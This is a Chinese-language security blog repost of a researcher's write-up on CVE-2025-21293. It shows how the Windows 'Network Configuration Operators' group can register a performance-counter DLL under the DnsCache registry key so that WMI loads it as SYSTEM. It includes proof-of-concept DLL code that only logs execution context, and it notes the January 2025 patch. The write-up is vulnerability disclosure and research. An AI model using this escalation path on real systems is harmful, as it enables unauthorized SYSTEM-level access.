Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

admin 2025年3月10日11:30:46评论43 views字数 6276阅读20分55秒阅读模式
Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

介绍

2024 年 9 月,在执行客户任务时,我遇到了“网络配置操作员”组,即 Active Directory(默认)的所谓内置组。由于我以前从未听说过或遇到过此组成员身份,因此它立即引起了我的注意。起初,我试图查找它是否存在任何安全隐患,例如其更知名的同事 DNS 管理员和备份操作员,但无济于事。令人惊讶的是,关于该组的信息很少,但我忍不住进一步探究。这让我陷入了注册表数据库访问控制列表和武器化可能性的泥潭,最终发现了CVE-2025-21293。在我们继续工作之前,我必须特别感谢 Clément Labro,他最初做了大量工作,找到了一种将性能计数器武器化的方法。 (希望本文结束时您会对此更加理解)以及我在 ReTest Security ApS 的同事,他们为我提供了该领域的知识和运用这些知识的机会。

网络配置操作员

“网络配置操作员”组是所谓的默认 Active Directory 安全组之一。当您设置本地域控制器时,会自动创建该组和其他类似组。

Microsoft Learn 文档 - https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#default-security-groups

我找到了这篇存档文章,据我所知,这是详细介绍“网络配置操作员”组的介绍和功能的原始文章,日期为 2007 年。从文章中可以清楚地看出,该组旨在为用户提供对其计算机网络接口的操作权限。但不允许他们拥有完整的本地管理员权限。从表面上看,这很有道理,但出于某种原因,微软让这个旧的内置组拥有了太多的系统权限。存档的知识库文章

输出 whoami /groups

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

创建子键

我解析了注册表数据库访问控制列表,发现用户组访问控制列表权限存在异常,因为该组拥有两个敏感服务相关注册表项的“CreateSubKey”属性:DnsCache 和NetBT。

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

根据注册表项安全性和访问权限的文档,该KEY_CREATE_SUB_KEY属性的用途很窄,即为现有注册表项创建子项。

现在,只有当谜题的下一部分被引入时,事情才变得有趣。因为 Windows 允许用户使用Performance Data系统服务和应用程序。

利用性能计数器

从高层次上讲,性能计数器函数通过性能计数器消费者(例如我们示例中的 PerfMon.exe 或 WMI)检索和处理来自系统上的服务和应用程序的数据。对我们来说,这意味着能够在系统上和 WMI 服务(NTSYSTEM)的安全上下文中运行代码。但首先让我们分解一下如何注册性能计数器。

OpenPerformanceData 文档 - https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa372200(v=vs.85)

为了注册性能监视例程,程序员必须注册 4 个注册表子项:

  • 库(性能 DLL 的名称)

  • 打开(DLL 中打开函数的名称)

  • 收集(DLL 中的收集函数的名称)

  • 关闭(DLL 中的关闭函数的名称)

通过注册 DnsCache 服务注册表项下的子项,如下例所示,我们已经成功映射了性能计数器。

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

概念验证代码

下面是性能计数器 DLL 的骨架,除了逻辑之外包含必要的部分。

#include<Windows.h>// Exported functions for Performance Counterextern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();// Example implementation of the Open functionDWORD APIENTRY OpenPerfData(LPWSTR pContext){// Implement logic for initializing the performance counterreturn ERROR_SUCCESS; // Return success}// Example implementation of the Collect functionDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){// Implement logic for collecting performance data// Populate ppData, pcbData, and pObjectsReturned as neededreturn ERROR_SUCCESS; // Return success}// Example implementation of the Close functionDWORD APIENTRY ClosePerfData(){// Implement logic for cleaning up resources or closing the performance counterreturn ERROR_SUCCESS; // Return success}// DLL Entry Pointextern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason)    {case DLL_PROCESS_ATTACH:// Implement initialization logic for when the DLL is loadedbreak;case DLL_THREAD_ATTACH:// Optional: Logic for thread initializationbreak;case DLL_THREAD_DETACH:// Optional: Logic for thread cleanupbreak;case DLL_PROCESS_DETACH:// Implement cleanup logic for when the DLL is unloadedbreak;    }return TRUE;}

由于 Itm4n 已经开始利用性能计数器,因此我依靠他的工作成果和概念验证代码,这些代码非常优雅地记录了 DLL 中导出函数的执行上下文。这是他在 2020 年博客文章中分享的实现。

#include<iostream>#include<Windows.h>#include<Lmcons.h> // UNLEN + GetUserName#include<tlhelp32.h> // CreateToolhelp32Snapshot()#include<strsafe.h>extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();voidLog(LPCWSTR pwszCallingFrom);voidLogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);DWORD APIENTRY OpenPerfData(LPWSTR pContext){    Log(L"OpenPerfData");return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){    Log(L"CollectPerfData");return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){    Log(L"ClosePerfData");return ERROR_SUCCESS;}voidLog(LPCWSTR pwszCallingFrom){    LPWSTR pwszBuffer, pwszCommandLine;    WCHAR wszUsername[UNLEN + 1] = { 0 };    SYSTEMTIME st = { 0 };    HANDLE hToolhelpSnapshot;    PROCESSENTRY32 stProcessEntry = { 0 };    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;    BOOL bResult = FALSE;// Get the command line of the current process    pwszCommandLine = GetCommandLine();// Get the name of the process owner    GetUserName(wszUsername, &dwPcbBuffer);// Get the PID of the current process    dwProcessId = GetCurrentProcessId();// Get the PID of the parent process    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) {                dwParentProcessId = stProcessEntry.th32ParentProcessID;break;            }        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));    }    CloseHandle(hToolhelpSnapshot);// Get the current date and time    GetLocalTime(&st);// Prepare the output string and log the result    dwBufSize = 4096 * sizeof(WCHAR);    pwszBuffer = (LPWSTR)malloc(dwBufSize);if (pwszBuffer)    {        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'rn",            st.wHour,            st.wMinute,            st.wSecond,            dwProcessId,            dwParentProcessId,            wszUsername,            pwszCommandLine,            pwszCallingFrom        );        LogToFile(L"C:\LOGS\RpcEptMapperPoc.log", pwszBuffer);free(pwszBuffer);    }}voidLogToFile(LPCWSTR pwszFilename, LPWSTR pwszData){    HANDLE hFile;    DWORD dwBytesWritten;    hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile != INVALID_HANDLE_VALUE)    {        WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL);        CloseHandle(hFile);    }}extern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){switch (reason)    {case DLL_PROCESS_ATTACH:        Log(L"DllMain");break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;    }return TRUE;}

终局

一旦注册表项被映射并且 DLL 位于磁盘上(或者理论上位于网络范围内的某个地方),就可以启动火箭并希望它着陆。现在请记住,我曾谈到过 Perfmon.exe 作为性能计数器消费者,只需通过 Explorer 启动 Perfmon.exe 实用程序(如下面的屏幕截图所示界面),我们就会看到日志记录功能的执行情况。

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)
当前用户的安全上下文是执行 Perfmon.exe 的上下文,因此没有什么令人兴奋的事情发生。当然,除了证明我们正确实现了性能计数器之外。

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

现在,在这种情况下,利用性能计数器的武器化依赖于使用 WMI 作为消费者来查询性能计数器,

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

从屏幕截图中可以看出,恶意 DLL 已在 SYSTEM 安全上下文中执行。这是本博客中的最终证据,它巩固了在 2025 年 1 月 14 日通过引入 1 月安全更新在“网络配置操作员”组中修复的条件下成功破坏系统完整性的结论。

Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

最后的想法

这个支线任务既出乎意料,又很有趣,是一次很棒的学习经历。它无疑激励我进一步深入学习和研究 Windows 内部结构。随着 1 月份的安全更新,这条特定路径已被修补,现在似乎“CreateSubKey”权限不再伴随“Set value”权限,该权限允许将密钥名称更改为“Performance”,这是利用的初始基础。我将尝试从用户的角度深入研究注册表数据库及其安全隐患。

原文始发于微信公众号(Ots安全):Active Directory 域服务特权提升漏洞 (CVE-2025-21293)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日11:30:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Active Directory 域服务特权提升漏洞 (CVE-2025-21293)https://cn-sec.com/archives/3821560.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息